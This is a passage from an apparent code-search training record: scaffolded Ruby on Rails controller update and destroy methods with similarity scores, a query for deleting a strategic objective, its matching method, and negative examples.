"def update\nlogger.debug \"update discipline: \"[email protected]\n discipline_params.each_pair do |property,value|\n @discipline.send(property+'=',value)if @discipline.respond_to?(property+'=')\n end\n @discipline.updater_id = current_user\n if @discipline.save\n set_discipline\n #respond_with @discipline\n render json: @discipline, status: :ok\n else\n ##render json: @discipline.errors, status: :unprocessable_entity\n respond_with @discipline.errors, status: :unprocessable_entity\n end\n end",
"def update\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n if @api_noun.update_attributes(params[:api_noun])\n format.html { redirect_to @api_noun, notice: 'Noun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_noun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @base_objective.update(base_objective_params)\n head 200\n end\n end",
"def update\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n if @gotcha.update_attributes(params[:gotcha])\n format.html { redirect_to @gotcha, notice: 'Gotcha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gotcha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discipline.update(discipline_params)\n format.html { redirect_to management_disciplines_path }\n format.json { render :json => @discipline.to_json(include: :department), status: :created }\n else\n format.html { render :edit }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @ontology.update(ontology_params)\n\t\t\t\tformat.html { redirect_to @ontology, notice: 'Ontology was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @ontology.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @medium_mission_strategy = MediumMissionStrategy.find(params[:id])\n\n respond_to do |format|\n if @medium_mission_strategy.update_attributes(params[:medium_mission_strategy])\n format.html { redirect_to @medium_mission_strategy, notice: 'Medium mission strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @medium_mission_strategy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @restriction = Restriction.find(params[:id])\n\n if @restriction.update(params[:restriction])\n head :no_content\n else\n render json: @restriction.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @golf.update(golf_params)\n format.html { redirect_to @golf, notice: 'Golf was successfully updated.' }\n format.json { render :show, status: :ok, location: @golf }\n else\n format.html { render :edit }\n format.json { render json: @golf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n authorize! :update, @theorem\n if @theorem.update(theorem_params)\n render json: @theorem, status: :ok, location: @theorem\n else\n render json: @theorem.errors, status: :unprocessable_entity\n end\n end",
"def update\n @contractor_feature = ContractorFeature.find(params[:id])\n\n respond_to do |format|\n if @contractor_feature.update_attributes(params[:contractor_feature])\n format.html { redirect_to @contractor_feature, notice: 'Contractor feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @therapist_consent = TherapistConsent.find(params[:id])\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render :status => 200, :json => { action: 'edit', therapist_consent: @therapist_consent}}\n end\n end",
"def update\n @reviewable_object = current_user.reviewable_objects.find(params[:id])\n\n respond_to do |format|\n if @reviewable_object.update_attributes(params[:reviewable_object])\n format.html { redirect_to @reviewable_object, notice: 'Reviewable object was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reviewable_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end",
"def update\n @gasto = Gasto.find(params[:id])\n\n respond_to do |format|\n if @gasto.update_attributes(params[:gasto])\n format.html { redirect_to @gasto, notice: 'Gasto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gasto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def update\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n if @familiar.update_attributes(params[:familiar])\n format.html { redirect_to @familiar, notice: 'Familiar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familiar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n debugger\n if @best_practice.update(best_practice_params)\n format.html { redirect_to @best_practice, notice: 'Best practice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @best_practice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing.update(clothing_params)\n format.html { redirect_to @clothing, notice: 'Clothing was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing }\n else\n format.html { render :edit }\n format.json { render json: @clothing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative_field.update(api_v1_initiative_field_params)\n format.html { redirect_to @api_v1_initiative_field, notice: 'Initiative field was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_field }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @chiropractic_compliance = ChiropracticCompliance.find(params[:id])\n\n respond_to do |format|\n if @chiropractic_compliance.update_attributes(params[:chiropractic_compliance])\n format.html { redirect_to @chiropractic_compliance, notice: 'Chiropractic compliance was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chiropractic_compliance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @feature_request.update(feature_request_params)\n format.html { redirect_to @feature_request, notice: 'Feature request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @feature_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @anticipation.update(anticipation_params)\n format.html { redirect_to @anticipation, notice: 'Anticipation was successfully updated.' }\n format.json { render :show, status: :ok, location: @anticipation }\n else\n format.html { render :edit }\n format.json { render json: @anticipation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @theoretical_part = TheoreticalPart.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @theoretical_part.update_attributes(params[:theoretical_part])\r\n format.html { redirect_to @theoretical_part, notice: 'Theoretical part was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @theoretical_part.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @golfer = Golfer.find(params[:id])\n\n respond_to do |format|\n if @golfer.update_attributes(params[:golfer])\n format.html { redirect_to @golfer, notice: 'Golfer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @golfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(update_params)\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @article_of_clothing.update(article_of_clothing_params)\n format.html { redirect_to @article_of_clothing, notice: \"Article of clothing was successfully updated.\" }\n format.json { render :show, status: :ok, location: @article_of_clothing }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @article_of_clothing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @featuring.update(featuring_params)\n format.html { redirect_to @featuring, notice: 'Featuring was successfully updated.' }\n format.json { render :show, status: :ok, location: @featuring }\n else\n format.html { render :edit }\n format.json { render json: @featuring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ontology = SYMPH::Ontology.find(params[:id])\n\n respond_to do |format|\n if @ontology.update_attributes(params[:ontology])\n flash[:notice] = 'Ontology was successfully updated.'\n format.html { redirect_to(ontologies_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ontology.errors, :status => :unprocessable_entity }\n end\n end\n\t\n end",
"def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @interested = Interested.find(params[:id])\n\n respond_to do |format|\n if @interested.update_attributes(params[:interested])\n format.html { redirect_to @interested, notice: 'Interested was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interested.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n else\n @person.update person_params\n render json: @person\n end\n end",
"def update\n respond_to do |format|\n if @variety.update(variety_params)\n format.html { redirect_to @variety, notice: 'Variety was successfully updated.' }\n format.json { render :show, status: :ok, location: @variety }\n else\n format.html { render :edit }\n format.json { render json: @variety.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @interview = Interview.find_by_slug(params[:id])\n\n respond_to do |format|\n if @interview.update_attributes(params[:interview])\n format.html { redirect_to admin_interviews_path, notice: 'Interview was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rental = Rental.friendly.find(params[:rental_id])\n \n\n respond_to do |format|\n if @feature.update(feature_params)\n format.html { redirect_to rental_path(@rental), notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @feature }\n else\n format.html { render :edit }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate_cost = PlateCost.find(params[:id])\n\n respond_to do |format|\n if @plate_cost.update_attributes(params[:plate_cost])\n format.html { redirect_to @plate_cost, notice: 'Plate Cost was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plate_cost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @goody = Goody.find(params[:id])\n\n respond_to do |format|\n if @goody.update_attributes(params[:goody])\n format.html { redirect_to @goody, notice: 'Goody was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @goody.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fiction = Fiction.find(params[:id])\n\n respond_to do |format|\n if @fiction.update_attributes(params[:fiction])\n format.html { redirect_to @fiction, notice: 'Fiction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fiction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @troop = Troop.find(params[:id])\n\n respond_to do |format|\n if @troop.update_attributes(params[:troop])\n format.html { redirect_to @troop, notice: 'Troop was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @observation = Observation.find(params[:id])\n\n respond_to do |format|\n if @observation.update_attributes(observation_params)\n format.html { redirect_to coral_path(@observation.coral), flash: {success: 'Observation was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @observation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dog_poly.update(dog_poly_params)\n format.html { redirect_to @dog_poly, notice: 'Dog poly was successfully updated.' }\n format.json { render :show, status: :ok, location: @dog_poly }\n else\n format.html { render :edit }\n format.json { render json: @dog_poly.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit(id, options = {})\n optional = [:label,\n :description,\n :compatible_with,\n :script_type\n ]\n params.accepts(optional).validate! options\n request(:put, \"/recipes/#{id}.json\", default_params(options))\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thing_to_do.update(thing_to_do_params)\n format.html { redirect_to @thing_to_do, notice: 'Thing to do was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thing_to_do.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pony = Pony.find(params[:id])\n\n respond_to do |format|\n if @pony.update_attributes(params[:pony])\n format.html { redirect_to @pony, notice: 'Pony was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pony.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @proof_cost = ProofCost.find(params[:id])\n\n respond_to do |format|\n if @proof_cost.update_attributes(params[:proof_cost])\n format.html { redirect_to @proof_cost, notice: 'Proof cost was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proof_cost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end",
"def update\n @judgement = Judgement.find(params[:id])\n\n respond_to do |format|\n if @judgement.update_attributes(params[:judgement])\n format.html { redirect_to @judgement, notice: 'Judgement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @judgement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @judgement = Judgement.find(params[:id])\n\n respond_to do |format|\n if @judgement.update_attributes(params[:judgement])\n format.html { redirect_to @judgement, notice: 'Judgement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @judgement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shorty = Shorty.find(params[:id])\n\n respond_to do |format|\n if @shorty.update_attributes(params[:shorty])\n format.html { redirect_to @shorty, notice: 'Shorty was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shorty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @farm_practice_typology.update(farm_practice_typology_params)\n format.html { redirect_to @farm_practice_typology, notice: 'Farm practice typology was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @farm_practice_typology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @congresso.update(congresso_params)\n format.html { redirect_to @congresso, notice: 'Congresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @congresso }\n else\n format.html { render :edit }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n save_relations\n if @ingredient.update(ingredient_params)\n format.html { redirect_to @ingredient.recipe, notice: 'Ingredient was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingredient }\n else\n format.html { render :edit }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @opportunity = Opportunity.find(params[:id])\n\n if @opportunity.update(opportunity_params)\n head :no_content\n else\n render json: @opportunity.errors, status: :unprocessable_entity\n end\n end",
"def update\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n if @plannegocio.update_attributes(params[:plannegocio])\n format.html { redirect_to @plannegocio, notice: 'Plannegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plannegocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end",
"def update\n @constitution = Constitution.find(params[:id])\n\n respond_to do |format|\n if @constitution.update_attributes(params[:constitution])\n format.html { redirect_to @constitution, notice: 'Constitution was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @constitution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ongoing = Ongoing.find(params[:id])\n\n respond_to do |format|\n if @ongoing.update_attributes(params[:ongoing])\n format.html { redirect_to @ongoing, notice: 'Ongoing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ongoing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @medium_mission = MediumMission.find(params[:id])\n\n respond_to do |format|\n if @medium_mission.update_attributes(params[:medium_mission])\n format.html { redirect_to @medium_mission, notice: 'Medium mission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @medium_mission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @irregular_verb = IrregularVerb.find(params[:id])\n\n respond_to do |format|\n if @irregular_verb.update_attributes(params[:irregular_verb])\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @concept.update(concept_params)\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { render :show, status: :ok, location: @concept }\n else\n format.html { render :edit }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.630859",
"0.6271585",
"0.6247834",
"0.6141951",
"0.6055471",
"0.59989506",
"0.592237",
"0.589164",
"0.5882053",
"0.58802307",
"0.58493453",
"0.5830371",
"0.5816523",
"0.5791737",
"0.578461",
"0.578281",
"0.5764979",
"0.57611334",
"0.5744177",
"0.5743729",
"0.5723675",
"0.57119805",
"0.5702847",
"0.56992555",
"0.5683987",
"0.56810546",
"0.5673131",
"0.5669582",
"0.5662756",
"0.565916",
"0.5643458",
"0.5637508",
"0.563714",
"0.5636842",
"0.5629899",
"0.5623963",
"0.56200963",
"0.5619663",
"0.56192833",
"0.5616196",
"0.5615401",
"0.56147176",
"0.561024",
"0.5609701",
"0.5609701",
"0.56054306",
"0.5603008",
"0.5602225",
"0.55931807",
"0.55921614",
"0.5588037",
"0.558665",
"0.5582913",
"0.55786794",
"0.55781776",
"0.55769956",
"0.55769306",
"0.5567506",
"0.5560767",
"0.5560636",
"0.55597144",
"0.55581135",
"0.55565417",
"0.55555016",
"0.55456233",
"0.55434227",
"0.5543361",
"0.55390996",
"0.5538659",
"0.55386066",
"0.5538404",
"0.55354905",
"0.5534932",
"0.55347484",
"0.55327016",
"0.5531113",
"0.55309224",
"0.5530885",
"0.5527444",
"0.5525053",
"0.5524796",
"0.5523142",
"0.5518514",
"0.5516096",
"0.5515631",
"0.5515631",
"0.55147415",
"0.5512738",
"0.5511496",
"0.5510342",
"0.5509091",
"0.550691",
"0.5501946",
"0.5501689",
"0.5501047",
"0.5500338",
"0.5500338",
"0.55002385",
"0.5499397",
"0.5496803"
] | 0.6559466 | 0 |
DELETE /strategic_objectives/1 DELETE /strategic_objectives/1.json | def destroy
@strategic_objective.destroy
flash[:success] = 'Strategic objective was successfully deleted.'
redirect_to :back
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n authorize @objective.strategy\n @objective.destroy\n respond_to do |format|\n format.html { redirect_to objectives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objective = Objective.find(params[:id])\n @objective.destroy\n\n respond_to do |format|\n format.html { redirect_to objectives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objective = Objective.find(params[:id])\n @objective.destroy\n render json: @objective \n end",
"def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end",
"def destroy\n @objective.destroy\n respond_to do |format|\n format.html { redirect_to objectives_url, notice: 'Objective was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @optin_contestant = OptinContestant.find(params[:id])\n @optin_contestant.destroy\n\n respond_to do |format|\n format.html { redirect_to optin_contestants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @initiative = Initiative.find(params[:id])\n @initiative.destroy\n\n respond_to do |format|\n format.html { redirect_to initiatives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medium_mission_strategy = MediumMissionStrategy.find(params[:id])\n @medium_mission_strategy.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_mission_strategies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contestant = Contestant.find(params[:id])\n @contestant.destroy\n\n respond_to do |format|\n format.html { redirect_to contestants_url }\n format.json { head :no_content }\n end\n end",
"def delete(object)\n full_name = extract_full_name object\n post 'api/del', :id => full_name\n end",
"def destroy\n @objective_textual.destroy\n respond_to do |format|\n format.html { redirect_to objective_textuals_url, notice: 'Objective textual was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ontology.destroy\n respond_to do |format|\n format.html { redirect_to ontologies_url, notice: 'Ontology was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @glossary = Glossary.find(params[:id])\n @glossary.destroy\n\n respond_to do |format|\n format.html { redirect_to glossaries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @farm_practice_typology.destroy\n respond_to do |format|\n format.html { redirect_to farm_practice_typologies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @initiative = Initiative.find(params[:id])\n @initiative.destroy\n\n respond_to do |format|\n format.html { render :nothing => true }\n #format.html { redirect_to initiatives_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @golf_cource = GolfCource.find(params[:id])\n @golf_cource.destroy\n\n respond_to do |format|\n format.html { redirect_to scaffold_golf_cources_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @contest.destroy\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @orderable_concept = OrderableConcept.find(params[:id])\n @orderable_concept.destroy\n\n respond_to do |format|\n format.html { redirect_to orderable_concepts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advocacy = Advocacy.find(params[:id])\n @advocacy.destroy\n\n respond_to do |format|\n format.html { redirect_to advocacies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @criterion = Criterion.find(params[:id])\n @criterion.destroy\n\n respond_to do |format|\n format.html { redirect_to criteria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_initiative.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_initiatives_url, notice: 'Initiative was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @criterion = Criterion.find(params[:id])\n @criterion.destroy\n\n head :no_content\n end",
"def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @ways_of_admission = WaysOfAdmission.find(params[:id])\n @ways_of_admission.destroy\n\n respond_to do |format|\n format.html { redirect_to ways_of_admissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medium_mission = MediumMission.find(params[:id])\n @medium_mission.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_missions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ai_contest = AiContest.find(params[:id])\n @ai_contest.destroy\n\n respond_to do |format|\n format.html { redirect_to ai_contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_noun = Api::Noun.find(params[:id])\n @api_noun.destroy\n\n respond_to do |format|\n format.html { redirect_to api_nouns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gpath = Gpath.find(params[:id])\n @gpath.destroy\n\n respond_to do |format|\n format.html { redirect_to gpaths_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bracket_golfer.destroy\n respond_to do |format|\n format.html { redirect_to bracket_golfers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goody = Goody.find(params[:id])\n @goody.destroy\n\n respond_to do |format|\n format.html { redirect_to goodies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @taxon_determination.destroy\n respond_to do |format|\n format.html { redirect_to taxon_determinations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @genotype = Genotype.find(params[:id])\n @genotype.destroy\n\n respond_to do |format|\n format.html { redirect_to genotypes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @conductor = Conductor.find(params[:id])\n @conductor.destroy\n\n respond_to do |format|\n format.html { redirect_to conductors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @consumable_object.destroy\n respond_to do |format|\n format.html { redirect_to consumable_objects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @district_chief = DistrictChief.find(params[:id])\n @district_chief.destroy\n\n respond_to do |format|\n format.html { redirect_to district_chiefs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @congestion = Congestion.find(params[:id])\n @congestion.destroy\n\n respond_to do |format|\n format.html { redirect_to congestions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n render json: @goal\n end",
